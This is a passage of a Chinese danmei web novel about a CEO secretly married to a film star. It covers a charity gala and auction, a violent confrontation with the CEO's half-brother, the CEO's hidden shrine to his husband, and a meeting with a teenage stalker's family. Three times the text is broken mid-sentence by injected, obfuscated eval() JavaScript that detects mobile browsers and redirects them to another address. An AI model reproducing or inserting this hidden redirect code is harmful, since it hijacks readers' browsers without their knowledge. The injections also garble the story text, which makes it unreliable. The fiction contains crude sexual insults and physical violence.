“那我可当真了啊,如果是沈总邀请我可以少收一点片酬。”邢彻半真半假地开玩笑,接着拿出手机说:“您介意加个联系方式吗?” 来要联系方式的人很多,沈书渠也就没拒绝他。 “你们家陆闻轻还是那么难请。”邢彻放下手机,看了一眼空位笑意盈盈说:“十次有九次都是不来的,不过他确实有这样的资本,羡慕不来。” 沈书渠稍微回味了一下“你们家陆闻轻”几个字,笑了笑:“还好,他不怎么喜欢来这种场合,随便他吧。” 邢彻端着杯子,眼底含着几分羡慕:“你这老板对艺人也太纵容了,改天我也签锦盛去,希望也能感受一下沈总的宽容。” 沈书渠抿了口酒没再说话,叶缘干饭到一半,沉默了下。 他怕是没见过沈书渠骂别人的样子。 沈书渠抬手看表,还有一个多小时才能进行下一个拍卖环节,略有些不耐地皱了下眉,宴会厅突然静了一瞬。 叶缘倒抽了口气:“沈总,你看……” 沈书渠抬起头,宴会厅大门被两拨人分别拉开,冷白灯光倾泻而下,陆闻轻眸光随意一瞥,落在了他身上。 10.清渠决决(十) 陆闻轻一身黑色西装纯手工缝制,每一根线条都藏得滴水不漏,肩颈线条悍利平直,将沉闷冷肃的颜色也穿得优雅高贵。 万千星光,只在一人。 沈书渠藏在人群之中,将爱意稍稍散发几分,又很克制地收回去,侧头放轻声音跟叶缘说:“你去找杯蜂蜜水来,再订一份解酒汤送到家里去,保温放着不要凉了,有人问起就说是湉湉订的。” 陆闻轻酒量虽好,但喝了酒会头疼。 他不常来这种场合,又稳居娱乐圈顶峰,从进门开始就被人挡住去路,如群星环绕烈日。 “陆老师,你肯来,这场晚宴真是蓬荜生辉。” “陆老师,好久不见。” 沈书渠眼神汹涌地落在陆闻轻背影上,看着他随意而淡然地跟人握手,微微捻了捻指尖。 脑海中突然就冒出林锦那句“阿猫阿狗都能叫他一声陆哥,你呢”,沈书渠垂眸看了眼自己的掌心,他也很想和他握一握手,哪怕只是客套。 邢彻抿了口酒,倾身朝沈书渠低声笑说:“他这心思够难猜啊,两年前我跟他一起参加个反家庭暴力的公益活动。他其实露个脸就够了,最后不知道怎么就留了全程,还跟小朋友一起做了几个沙画,虽然做的特别难看。我那儿还有照片,回头发给你看看?不过你可不能告诉陆闻轻是我发的。” “嗯,我不告诉他。”沈书渠笑了下,语气因为压低显得轻而柔软像是悄悄话:“也请你保密。” 邢彻猝不及防,心不知道怎么就热了一瞬,差点儿就要讲出一句一会晚宴后有没有时间,要不要一起再喝一杯了。 “邢先生?” 邢彻才反应过来,轻咳了一声:“当然,能跟沈总有一个共同的秘密我非常荣幸。” “哎呀,说不来呢。”简芬妮和陆闻轻很熟,笑吟吟说:“你们家沈总也来了,要是一起来还能相伴走个红毯呢,你们要是一起走,今晚热搜一定要爆。” 陆闻轻侧头看了眼,沈书渠略微附耳听邢彻说话,狭长眼尾叠出一个很淡很柔软的笑意,像是很高兴。 这还是沈书渠第一次笑,和平时冷冰冰的样子判若两人。 沈书渠尽管在陆闻轻身边安插了人但也不能事事监控,关于他的一些小事也听得很高兴。 邢彻见他受用便越讲越多,“上次他……” “劳驾。”一道低冷嗓音陡然插进来,带着些不易察觉的不悦。 邢彻一抬头,顿时笑了:“哟,陆老师,请坐。” 娱乐圈是个名利场,人人都想到陆闻轻面前去刷个脸熟,但看他面色不怎么好看也不太敢造次,匆匆说了几句就又走了。 沈书渠思量片刻,将蜂蜜水放在了陆闻轻面前,“喝了会舒服一点。” 陆闻轻端起来,晃了两下:“这是什么?” “蜂蜜水,你喝完酒会头疼。”沈书渠说着顿了顿,又补充:“叶缘给你找来的,你可以放心喝。” 陆闻轻摩挲着杯子,垂眸喝了两口润了润嗓子,偏头不冷不热扫了邢彻一眼:“你也要喝?” 邢彻笑意莞尔:“陆老师不要寒碜人啊,你问问在场谁敢跟您老抢吃的,您说要的东西哪怕是一根草也没人敢觊觎。” 陆闻轻淡淡垂眸:“确实。” 邢彻总觉得有一种似有若无的被针对了的错觉,但陆闻轻一向眼高于顶看人永远像看狗,便也没多想。 晚宴上实在没什么能吃的,全是中看不中用的东西。 沈书渠不爱吃这些也没怎么动,酒倒是喝了一点,他酒量一般但不怎么上头,只有眼神有些迷离。 台上一个年轻的男歌手在唱一首粤语歌,微沙的嗓音深情如诉:“我喜欢你,是我独家的记忆……” 沈书渠听得入神,没注意到身旁的眼神。 陆闻轻不动声色打量沈书渠,黑西装白衬衣让他穿得像是实验室白大褂,西装笔挺走线清晰,但始终配两只很廉价的萤石袖扣。 没来由地,他脑海里突然冒出沈书渠黑发微长,白大褂配白衬衣牛仔裤抱着书的画面,像是匆忙从实验室跑出来要去见谁。 树影细碎落在他头上、眼睛里,清冷面容一瞬间笑开,露出绵软甜美的一面。 画面一闪而过,快得让人抓不住,陆闻轻蓦地皱了下眉。 晚宴结束后,众人移步拍卖会。 陆闻轻的位置在第一排,简芬妮考虑到沈书渠性子低调,便将位置放在了最后一排的角落。 桌上有个设备滚动展览今天的拍品,从书画到首饰,每一样都很精美。 沈书渠浏览了一遍,觉得有一枚蓝钻镶嵌而成的绿绒蒿胸针很漂亮。 绿绒蒿长于高山之巅,艳丽挺拔,稀世珍贵。 蓝钻幽深清澈,搭配白金空灵出尘,在纯黑色的背景下显得优雅而神秘,很配陆闻轻。 不过如果是他买那就不方便送到陆闻轻手上了,沈书渠侧头和叶缘说:“去叫简小姐,说我请她来一趟。” 拍卖很快开始,第二个就是绿绒蒿胸针。 有几个人开始出价,沈书渠抬起头朝身侧的人点了点头,结果陆闻轻先举了牌,接着邢彻也开始举牌。 有这一个如日中天的影帝和新晋视帝青睐,在场众位歌手演员也纷纷举牌,哄抬菜价似的,莫名其妙就把这个胸针叫到一个非常溢出的价格。 这种慈善拍卖一般都是公益性质,一般不会产生这种情况。 拍卖官也少见这种情况,优雅询问还有没有人加价,但眼角眉梢异常兴奋。 陆闻轻侧头看了眼,邢彻立即诚恳道歉:“不好意思了陆老师,我是真的喜欢这只胸针,很难割爱了。” 陆闻轻继续举牌,淡淡道:“不用,价高者得。” 拍卖官落第一次锤的时候,男人明显也感觉出这个价格不太对了,用眼神询问沈书渠还要拍吗? 沈书渠点头,虽然价格比想象得高了一点但他却很高兴,陆闻轻反复叫价就证明是喜欢的。 他今晚本来就是过来挑礼物,有他喜欢的那很幸运,证明没有白来。 男人举牌代替沈书渠:“二百九十万。” 邢彻回头看了一眼,见对方是生面孔也没再继续争。 这个价格本来也超过了他的预期,是有一瞬间莫名觉得挺适合沈书渠,并且又不想落於下风才跟。 五六十万可以买,几百万就没必要了。 东西超出它自己自身的价格没有意义,再多也不会赋予任何价值,哪怕拍出两百万的价格,送出去了也还是只值五六十万。 沈书渠长得再好看、再是锦盛的总裁,目前他们也没太多关系。 锦盛里有陆闻轻一个王就够了,一山难容二虎,就算他有一天真到了锦盛也难从他手上抢走多少资源。 其实他觉得陆闻轻也并不喜欢这胸针,不过举牌的原因他就想不明白了,便笑道:“陆老师,我认输了,你不再叫一下?” 陆闻轻瞥他一眼,说:“我想要的东西,会的。” 最后一个拍品是串开过光的唐代佛珠,因为东西的收藏性比较偏门,这次没几个人跟陆闻轻竞价,直接用四百七十万的价格结束了这场慈善拍卖。 散场时,简芬妮捧着盒子跟出来,叫住陆闻轻说:“你的。” 陆闻轻瞥了眼:“什么?” 简芬妮受人之托,从善如流将编好的台词送出来:“刚才那枚绿绒蒿胸针,你的粉丝拍下来送给你的,希望你可以笑纳。” 陆闻轻往里看了眼,晚宴上人多眼杂他根本没注意有多少人,也没看最后拍下胸针的人是谁。 简芬妮拢了下衣服,在寒风中瑟瑟发抖:“人我不能说,我答应了他要保密,不过我可以跟你保证他是善意的,单纯想送给你,嗯,祝你生日快乐。” 陆闻轻不是没收过比这贵重的生日礼物,但这种场合和关系,必然有所求。 他收回视线,说:“不必了。” “他特地拍下来送给你的,这心意你不收我也没法对他交代呀。”简芬妮不由分说把盒子塞到湉湉手上,摆摆手说:“东西我送到了,走了。” 湉湉几乎立刻就知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101918|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这胸针是谁买的,说:“要不就收下?一个胸针应该也不贵吧?也许他真是单纯祝您生日快乐呢?” 陆闻轻说:“二百九十万。” 湉湉踉跄了下,捧圣旨似的捧着二百九十万,小心翼翼问:“那怎么办?” 陆闻轻沉吟片刻,上车前瞥了眼:“沈书渠走了?” 湉湉回头看了下,说:“好像还没有,我记得拍最后一个拍品的时候他出来了,好像是去卫生间,我们要等一下沈总一起回家吗?” 陆闻轻抬手看表,二十分钟过去了。 “他在卫生间迷路了?” 湉湉:“……也许是有事?要不然我打个电话问问叶缘姐。” 卫生间里整洁干净,角落放着很知名的古法香薰,味道清雅好闻,沈书渠点了支烟靠在墙边抽了一口。 “过几天再说,我他妈昨天晚上才挨过骂,都怪那个杂种,我迟早要给他点颜色看看,让他知道惹我的下场。” “就他?以前像条狗一样跪在我面前,他现在是锦盛总裁又怎么样,还不是仗着陆闻轻这个摇钱树?” 沈安声音很轻,但在寂静的卫生间里还是清晰可闻。 锦盛隶属于沈氏旗下,会给他发请柬自然也会给沈正兴发,但他年纪大了就开始端清高雅正不染俗尘的形象,自然不来。 他不来也不会让余欣在这种场合抛头露面,沈城年纪还小,只有沈安合适。 沈书渠抽着烟,听了一会沈安想干什么。 “陆闻轻是有老婆的,再说了他也就五年的合约,再有一年就到期了,到时候还能留在他那儿?” “锦盛给他?他想得美,迟早我要让他再感受一下什么叫丧家犬的滋味。” 一阵哗啦啦冲水声过去,沈安挂掉电话,提上裤子一推门就看到了靠在墙边抽烟的沈书渠,光影下他的轮廓冰冷锋利,让他莫名心悸了一下。 他听见了? 沈安先是慌了一下,但很快就恢复如常,嗤笑一声:“你也来了啊,不是走什么清冷禁欲人设很清高不爱见人吗?怎么愿意纾尊降贵来这儿了?没脏了我们沈大总裁的鞋吧?” 沈书渠微垂眼睫,淡淡道:“关你屁事。” 沈安一怔,随即笑了:“装不下去了啊,我以为你现在斯文的样子装久了不会骂脏话了,陆闻轻听过你骂人吗?” “你喜欢听我可以多骂你几句。” “我还是更喜欢你像一条狗一样跪在地上求人的样子,比你现在好看多了,哥,不对,阿孽。”沈安把手放在水龙头下随意冲了冲,走到沈书渠身旁扯出纸巾擦拭。 沈书渠眸色变了一瞬,咬着烟面无表情地勾了下唇角:“很遗憾,你这辈子不会再见到了。” 沈安随手把废纸丢进垃圾桶里,微微倾身说:“你就是个变态,你说如果陆闻轻知道你有性/瘾,他会怎么样?” “你是不是很想让他操/你啊,可惜,他这辈子都不会看你一眼,你喜欢陆闻轻的事他知道吗?他老婆知道吗?你就是个下贱的小三。” “哦对,陆闻轻也是个同性恋,他喜欢男人。” “要不要我去跟他说你喜欢他?也许他会看在你这张脸,勉为其难操/你一顿,满足你饥渴的欲望。” 沈书渠不为所动,垂眼淡淡反问:“那你是什么?小三生出来的野种?沈正兴也是小三生出来的野种,你猜猜他喜不喜欢听见小三两个字?昨天他没打你是因为今天有宴会,明天没有另一个理由救你。” 沈安脸色一冷,瞬间抓起沈书渠的领带用力往自己一拉,咬牙切齿道:“你他妈……” 沈书渠耐心告罄,拿掉烟按灭了扔进垃圾桶,握住沈安的手便往水池里按,同时看了眼表,三分钟,死不了人。 他动手的瞬间,一只手横过来掐住沈安手腕。 那只手骨节分明,手腕劲瘦,冷银色腕表卡在衬衫袖口,隐约可见虎口内侧一粒黑色的小痣。 “带妈出来参加宴会?”陆闻轻掐着沈安的手,不费吹灰之力把人按在了墙上,淡淡道:“挺孝顺啊。” 11.墙下春渠(一) 沈安脸颊贴着冰凉的瓷砖,整个人狂躁得像一只炸了毛的公鸡,恨不得蹦起来啄人两口。 “你他妈谁啊,我跟沈书渠说话管你什么事,你知道我是谁吗!” “我不知道。”陆闻轻单手掐着他的脖子,堪称礼貌地请教:“劳驾你告知。” “我爸是沈正兴!我是DI请来的贵客,你敢动我让你明天就从娱乐圈消失!” 沈安用力挣扎,但脖子上那只手像是钢条一样死死禁锢着他。 身后男人似乎笑了一声,又像是没笑:“是么,你想让我怎么消失,封杀我吗?” 陆闻轻表情很淡看不出喜怒,但指下的力度分明是要将人颈骨掐碎。 他不高兴的时候就是这个表情,不仅不凶反而会端出几分温柔礼貌。 沈书渠吃过很多次这种苦头,条件反射别过头。 陆闻轻拇指压着沈安的脖子,十分真诚地笑了下:“失礼了。” 沈安暴怒之下脸涨得通红,听见对方“道歉”这才冷笑了一声:“你识趣就好,我警告……啊!!!” 陆闻轻捏着他的后脖颈,抓起来朝着墙壁狠狠一撞,“我不喜欢警告,建议你换个我爱听的句式,比如求我。” 沈安又疼又懵,只觉得这人完全就是个神经病,咬牙道:“你到底是谁?” “陆闻轻。” 沈安脖子上力道一松,猛地转过头险些闪了脖子,晕眩地踉跄了两步扶住水池勉强站稳。 刚才那一撞几乎要把他的脑震荡撞出来,他看人都是重影的,“你敢打我?现在外面全是记者和各家媒体,你信不信我出去喊一句你就完了!” “是么?” 沈书渠眸色微变,一把抓住陆闻轻的手腕:“陆闻轻。” 陆闻轻头一次听见自己名字从他口中叫出来,很凉,又很柔软,带着一种很诡异的熟悉感,让他很想再听一遍。 沈书渠:“让他走。” 陆闻轻看着搁在他手上的那只手,抬眸看了他一眼:“这是请求,还是命令?” 沈书渠怕沈安再说出些污言秽语,不得已放轻声音:“是请求。” 一向清高冷淡的高岭之花在求人,莫名就让他想到了碧林山庄那晚,挨了打却矜持守礼对宾客轻声致歉,说是他不好。 陆闻轻本来只打算教训沈安一下,但现在突然不想放过他了。 沈安正好对上陆闻轻居高临下活像看一块肉的眼神,下意识打了个寒噤,“你想、你想干什么!” “你尽管试试能不能让我完,喜欢喊我带你出去喊,我问你点别的。”陆闻轻理了理沈安的领子,低声说:“喜欢谁?” 沈安一怔,他还以为陆闻轻是为了沈书渠出头,弄了半天他是因为恶心沈书渠喜欢他,不高兴了。 没想到,陆闻轻还是个恋爱脑,听别人提他老婆一句就要发疯。 沈安随即朝沈书渠很嘲讽地笑了一下,故意说:“我说你跟你老婆很恩爱,有些想倒贴的人哪怕跪下来求也绝对没机会。” 陆闻轻:“?” 沈书渠别过头,闭了下眼,觉得他脑子跟屁股长反了。 沈安看沈书渠一脸痛苦,心里更加畅快,索性原谅了陆闻轻刚刚对他的暴力行为,当场跟他站在了统一战线。 “陆影帝,我祝你们白头偕老情比金坚。” 饶是陆闻轻,也没看明白这一出转折:“你有病?” 沈安揉着眩晕的头,咬咬牙强颜欢笑:“哈哈刚才的事儿是个误会,你放心,我肯定不会出去说。” 陆闻轻:“是误会吗?” “当然当然。” “那我应该也不会被封杀了?” “那是自然的。”沈安哈哈笑了两声,听见外头有人叫自己连忙应了一声,“我先走了,有机会再见。” 陆闻轻走到水池边,打开水龙头慢条斯理冲洗。 沈安路过沈书渠身边时勾了下眉角讥诮一笑,怎么样?难受吗? 沈书渠抬头看了眼洗手的陆闻轻,无声给了沈安一个警告的眼神。 沈安忽然想到了六年前,下意识皱了下眉,错开身走了出去。 “二少?”助理见沈安迟迟不出来,一走近就看到他额头肿了个大包,骇然道:“二少你头怎么了?” “还他妈说,你刚才死哪儿去了?现在才过来?” “对不起,二少,董事长有事要吩咐,我去回电话了,您头还好吗?要不要去医院看看?” “行了行了车准备好没有?我一会还有约,去什么医院。” 两人越走越远,沈书渠有些担心,沈安不一定会听话,必须要早做准备,但目前最要紧的是陆闻轻听见了多少。 如果他听见了全程应该怎么做,应该怎么解释他曾经像一条狗一样下跪哀求,还是解释自己的性瘾,又或者喜欢他。 每一条都足够震撼与肮脏,都无从辩解。 他第一次觉得自己还不够聪明也不够缜密,没办法把事情算到万全。 “沈书渠。” 沈书渠抬起头,眼底闪过一分猝不及防的惶然,别过头的一瞬间被陆闻轻捏住了下颌转回来。 他手上还有水,带着冰凉的温度,神色幽深严厉像是很不满。 沈书渠思忖着,应该从哪一条开始处理,最坏的结果也就是离婚然后就此不见。 其实没有区别,他还可以在暗处关注。 “是,沈安说的都是事实,我……” “会骂人,不会打人?” 沈书渠被他掐着下颌动弹不得,压下心底不断的震颤与煎熬,微微咬了下牙,还没开口就听陆闻轻又说:“上次在碧林山庄的教训还没长够?我不来,你就由着他打你?” 沈书渠一怔。 “沈书渠,对待什么人就要用什么办法。”陆闻轻收回手,低头看他:“那点儿厉害功夫全长嘴上了?” 沈书渠话到嘴边酝酿了足足半分钟,反而问出了最初的问题:“你什么时候来的?” “怕我听见?” 沈书渠很轻地点了下头。 “怕我听见哪句?” 陆闻轻一定是最恶劣的审讯官,知道怎么让人最痛苦。 沈书渠动了动喉咙,“都不好听,你最好都不要听。” 陆闻轻其实听到的不多,但也不少。 他到门口时恰巧听见沈安说沈书渠喜欢某个人,紧接着就是那道凶冷嗓音。 “既然都不好听,那我就没听见。”陆闻轻扯了张纸擦干手,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110167|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手将沈书渠下颌上的水痕擦干,“下次再有这种事,会动手吗?” 沈书渠猜测应该是没听见前面,便松了口气。 “问你呢,会动手吗?”陆闻轻将纸扔进垃圾桶,顺手抬起他的下巴,“我要听见答案。” 沈书渠恍惚了一下,一瞬间像是看到了二十一岁的陆闻轻。 “会。” 今晚的晚宴隆重,除了媒体之外还有很多粉丝,散场时明星在保镖助理的簇拥下和粉丝挥手道别。 叶缘提前安排了两人走特殊通道离开,并未受到围堵。 沈书渠上了车,湉湉有些心虚地眨巴了两下眼睛才打招呼,又忍不住朝陆闻轻那里偷偷瞄了一眼。 她手上还捧着那个装胸针的盒子,沈书渠迟疑了一会,说:“是刚才拍卖会上的胸针?” 陆闻轻看都没看:“你喜欢?” 这一下把沈书渠问住了,他当然是喜欢的,但礼物是给他的,他喜欢才重要。 “你不喜欢?” “不喜欢。”陆闻轻方才竞价,完全是一种迁怒心态。 湉湉愣了愣,立刻回头去看沈书渠,发现他似乎也没想到这个答案,眼里有一瞬间的失落。 叶缘回头,面色稍有些凝重:“沈总,你上热搜了,要处理吗?” 晚宴虽然不是公开直播,但各家媒体也会放出一些视频片段和照片来作为宣传。 沈书渠这张脸在光影下美貌出尘,又是个生面孔,瞬间碾压一众明星登上热搜第一。 第二是陆闻轻,第三则是陆闻轻沈书渠。 沈书渠眼神在并列的名字上停留了两秒,点开自己名字粗略浏览。 ——我的妈鸭,这个大美人是谁!一分钟我要他的所有资料! ——总裁长成这样过分了吧?什么豪门优雅贵公子,请问一下你们锦盛是靠颜值才有资格进去上班的吗? ——大美人在跟邢彻聊什么悄悄话!笑得太好看了吧,好配好配! ——陆闻轻跟沈书渠坐在一起也太养眼了吧,如果陆影帝不是已婚的话我要磕cp了,我这点道德全靠实名上网撑着。 热度高居不下,甚至有人开始扒陆闻轻的隐婚对象,截然不知道那个人其实近在眼前。 沈书渠把手机还给叶缘,说:“撤了吧,撤我有关的词条,婚姻相关也处理掉,将风向引导在陆闻轻的作品和自身上。” “沈总,不征求一下我的意见吗?” 沈书渠停顿一下,让叶缘先稍等,“你觉得有什么问题?” 陆闻轻从这张淡漠的脸上看不出丝毫个人情绪,理智的活像在开会。 “你是不是忘了,你这个婚姻的另一半是……” 沈书渠微信响了一下,林锦看到热搜急得发了十几条消息,估计嫌打字累,索性开始发语音。 他随手点开,不经意按上了语音条,清朗嗓音在车里震耳欲聋。 “沈书渠!你怎么还去晚宴了!我不是警告你要离陆闻轻远一点吗!他不是什么好人,一定会……” 沈书渠手一抖勉强按掉语音,头疼地想不用陆闻轻动手了,林锦可以先把他弄死了。 果不其然,身旁一声凉凉笑意。 “哦,原来我不是好人。” 12.墙下春渠(二) 遥远的几十里之外,林锦猛地打了个喷嚏。 他揉着鼻子,接过身旁男人递来的手帕蹭了两下,又立即按语音:“你为什么不说话,我知道你在听,我这里显示对方正在输入了。” 沈书渠:不方便,一会说。 林锦还想指责,被人先按住手腕抽走手机,温和但霸道地安抚:“好了,先把饭吃完吧,沈书渠没有你想象得那么弱。” “你不懂。”林锦皱着眉,焦虑道:“我不管他,他一定不行的。” 他不敢跟任何人说沈书渠不仅有性瘾还有严重的性倒错,一般人都难以承受的病在沈书渠身上简直是灭顶的灾难。 他有一次去沈书渠家里,不小心撞见他从最里侧的房间出来,手腕上有没来得及遮住的伤口。 他还以为被人虐待了,想也没想就推门进去。 那里简直是一个完美的展示厅,陆闻轻穿过的戏服、佩戴过的首饰、海报,一一摆放。 有一种干净到变态的极致冲击。 林锦看着桌上一束被完整收拢好的尼龙绳,联想到他的伤。 沈书渠神色平静地关门带他回客厅,甚至还给他倒了杯热茶压惊。 “我有性瘾。” “还有性心理障碍,是一种心理和行为偏离正常并以此作为性兴奋和性满足的主要方式的一种精神障碍,通俗叫法为,性倒错。” 林锦震惊得说不出话。 沈书渠说这话的时候有一种正常到不正常的冷静,像是一个医生在科普知识。 “我们认识十年了,我从来没见过你有、有这种……”林锦微抿了下唇,艰难开口:“是在国外造成的吗?” “不是,很早就有。”沈书渠给他换了一杯茶,说:“我告诉你这些是不希望你担心,同时希望你保密。” 林锦废寝忘食翻了半个多月的资料,顶着一张煞白的脸拖沈书渠去看医生。 他去是去了,但看起来太正常了,心理医生差点儿都觉得他没问题。 后来他没办法了,试图劝他约个炮算了,沈书渠抬起头看他,说:“我结婚了。” 林锦想,都怪陆闻轻。 车里静谧了足足一分多钟,沈书渠人生中头一次感受到了进退两难。 陆闻轻现在是娱乐圈优雅贵重的前辈老师,但其实当年单枪匹马对抗三个专业保镖,将他带出阴暗阁楼。 沈书渠不会处理伤口,被迫要用吻来补偿,他的初吻是混合着香草奶油与血腥味的热烈印记。 “沈总,借口这么难想?” “不是。” “那是什么?”陆闻轻单手撑着头,慢条斯理复述了一遍:“我不是让你离陆闻轻远一点吗?他不是好人……” 沈书渠额角青筋乱跳,艰难道:“他不是那个意思。” “哦,那是什么意思?” 沈书渠轻吸了口气,绞尽脑汁给林锦这个缺心眼儿找补。 “他不了解你,只看过你一部电影代入太深了以为你脾气不怎么好,没有恶意,你别往心里去。” “我要是非要往心里去呢?” 沈书渠无奈背起黑锅:“我替他跟你道歉。” 陆闻轻眼底闪过几分兴味:“你打算怎么跟我道歉?嘴上说说?” “……要求你提,只要你不跟他计较我都会照办。” “任何事?” 沈书渠点头:“任何事。” 陆闻轻俯身逼近,幽深瞳眸沉沉注视仿佛一只抓住了猎物的狼,带着危险的压迫感。 沈书渠心跳瞬间加快,如同被扼住了喉咙,看着不断逼近的脸,毛孔几乎舒张开。 “你倒是挺大方。”陆闻轻坐回去,淡淡评价。 沈书渠察觉他有些不高兴,思忖片刻,说:“陆闻轻。” 陆闻轻闭目养神,没开口。 沈书渠从口袋里掏出一颗糖放在了他手边,“你晚上没东西,低血糖可以吃一点。” “不想剥。” 沈书渠思考片刻,剥开糖纸递给他,“陆闻轻。” 两人到家时热搜已经处理干净,叶缘也联系媒体删除和沈书渠有关的照片视频。 下车时已经快十二点,湉湉探出头:“哥,胸针怎么办呢?” 陆闻轻瞥了眼孤零零的糖,看都没看那胸针:“查谁送的,还回去。” 湉湉下意识去看沈书渠,“那如果对方不要呢?而且人家好心送你,你退回去人家很伤人。” “不要就扔了,你想要?” 湉湉哪敢要,连忙说:“不不不,我不敢要,要不然您先放在沈总这儿收着,以后想要了再要?” 沈书渠伸手接过:“给我吧。” 湉湉如蒙大赦,连忙双手奉出去。 沈书渠带着东西推开门,把包装漂亮的盒子拆开,拿出胸针放在一个空的展示台上。 如同博物馆的玻璃罩干净无痕,房间内湿度温度适宜,是保存物品最合适的状态。 模特或站或坐,相同的是拥有一张一模一样的脸。 沈书渠俯下身,像是讨好一样很轻地碰了碰“陆闻轻”的额头,“我以为你会喜欢……” 沈书渠没有在房间里待多久,出来锁上门去了书房。 今晚沈安这么一闹,绝对不可能善罢甘休,他要造作准备。 抽屉里放着两份离婚协议书,在他的那一栏已经签了字,只要陆闻轻签下去立刻就可以恢复自由身。 沈书渠拟了一份计划书,将所有可能的情况都列下来,一一做出对策。 最坏的结果是沈正兴插手,沈书渠取出另一份解约合同,迟疑了一会,签下了自己的名字。 陆闻轻把那个四百多万的佛珠随手扔在桌上,洗完澡出来的时候瞥见,顺手放在了抽屉里。 今天晚上沈书渠让他感觉有点不同,不像在公司那么冷淡,也不像对他那么疏离,跟邢彻说话时像一见如故。 他很喜欢邢彻? 陆闻轻微微蹙了下眉,莫名有一种不知道在哪儿见过沈书渠笑的样子。 有那么一瞬,他心脏好像麻了一下。 那种感觉消失的很快,没等他抓住就散了,陆闻轻失神片刻,脑海里忽然冒出另一个画面。 沈书渠皱着眉不肯喝牛奶,勉为其难咽下去又被人捏着下颌被迫张口检查,最后恼羞成怒闷头不搭理人。 陆闻轻头嗡地一声,手机突然响了,看是齐敬顺手接起来:“有事?” “你生日不是就在这几天么?去不去海钓?四边都是水,没有比那儿更安全的地方了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115095|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆闻轻粉丝太多,去哪儿都不方便,要想玩儿的尽兴只能去人少的地方。 齐敬晚上跟人玩牌,听见女伴在一旁讨论热搜,抽空看了一眼,正巧看到沈书渠给陆闻轻递了一杯水。 “你们俩怎么一起去晚宴了?” “不是一起。” 齐敬心说别装傻:“我这儿有房子你不来住,在人家里住了好几天了,还一块儿去晚宴,打算发展一下?” 陆闻轻把毛巾丢在椅子上,淡淡道:“去晚宴是工作。” 齐敬在那头笑:“不知道内情的还以为你们俩根本不认识呢,我看他连看都不看你一眼,跟邢彻聊天倒是笑得挺开心。” 话不投机,陆闻轻直接把电话挂了。 - 周日一早,沈书渠被一通电话吵醒。 “沈先生,今天要来一趟吗?” 他坐起身,拿过眼镜戴上:“好,您几点钟方便?” “您随时过来都可以,我今天一直在。” 沈书渠换衣服出来时陆闻轻已经不在家里,他也没多待,直接开车去了心理诊所。 医生是个很年轻的女人,穿着很柔和的高领毛衣,戴一对简单的珍珠耳环,看起来很温柔很容易让人卸下心防。 诊室里温暖明亮,有很淡的百合香味,沈书渠坐下来,“袁小姐,打扰了。” “您太客气了沈先生。” 袁舒薇每次见到他都有一种倒错感,因为从外表看上去没有任何问题,进退有度,得体矜持,怎么看都很完美。 皮下却截然相反。 “沈先生,最近睡得好吗?” “还可以。” 袁舒薇倒了杯水放在他面前,看到他手腕上那只佛珠下压住的绑缚红痕,微微停顿了几秒钟,“您有时间听我讲个故事吗?” 沈书渠颔首:“您请。” 一个小时的诊疗结束。 沈书渠起身礼貌告辞,袁舒薇疲惫地叹了口气,他就像一汪水,看似平和实则密不透风。 她有一种感觉,沈书渠在清醒的迈向死亡。 - 临近年底,活动逐渐多起来。 沈书渠一个多星期没回家,在附近酒店订了半个月的房间。 周一早上,他开车到看守所门口。 两个穿着破旧的中年人往高楼里张望,像两只没被关押的困兽。 沈书渠单手撑着车窗,脸上没什么表情。 男人蹲在地上不断抽烟,眉峰拧紧一言不发,面容憔悴的妻子一边哭一边捶胸。 不多时,侧门打开,一个年轻男孩站在门口一动不动。 男人站起身,却没有动。 女人快步跑过去冲着男孩的脸劈头盖脸就是一顿耳光,接着趴在他的肩膀上痛哭。 陈昱推门下车,小跑过去说:“我们先生在那边等您。” 附近有一个很小的餐馆,红色的塑料凳上全是陈年旧垢,三人进来看见西装革履的沈书渠立即紧张地互望一眼。 “请坐。”沈书渠伸手。 男人局促地坐下来,咬合的肌肉不断抽动颤抖,“你、您有话直说吧。” 女人捂着脸,抽噎着向他求情:“老板,孩子做错了事我们认,求你给、给孩子一条活路,他还小。” 13.墙下春渠(三) 沈书渠抬了下眼,示意菜单:“请。” 男人微弯的脊椎骨几乎快蜷成虾米,强撑着沙哑语调说:“不用了,您有话直说吧,无论是赔偿还是道歉,您尽管开口。” “可是我们家已经……”女人一开口,立刻被丈夫瞪了一眼,立即又低下头掉泪。 夹在中间的男孩低眉顺眼,面庞瘦小,完全看不出一点儿癫狂私生的样子。 “赵远,十六岁,就读于毓和职高高一七班,上面有三个姐姐一个双胞胎妹妹,共同居住在鑫晟小区九号楼。” 女人骇然抬头,没想到他们已经把家里调查得这么干净。 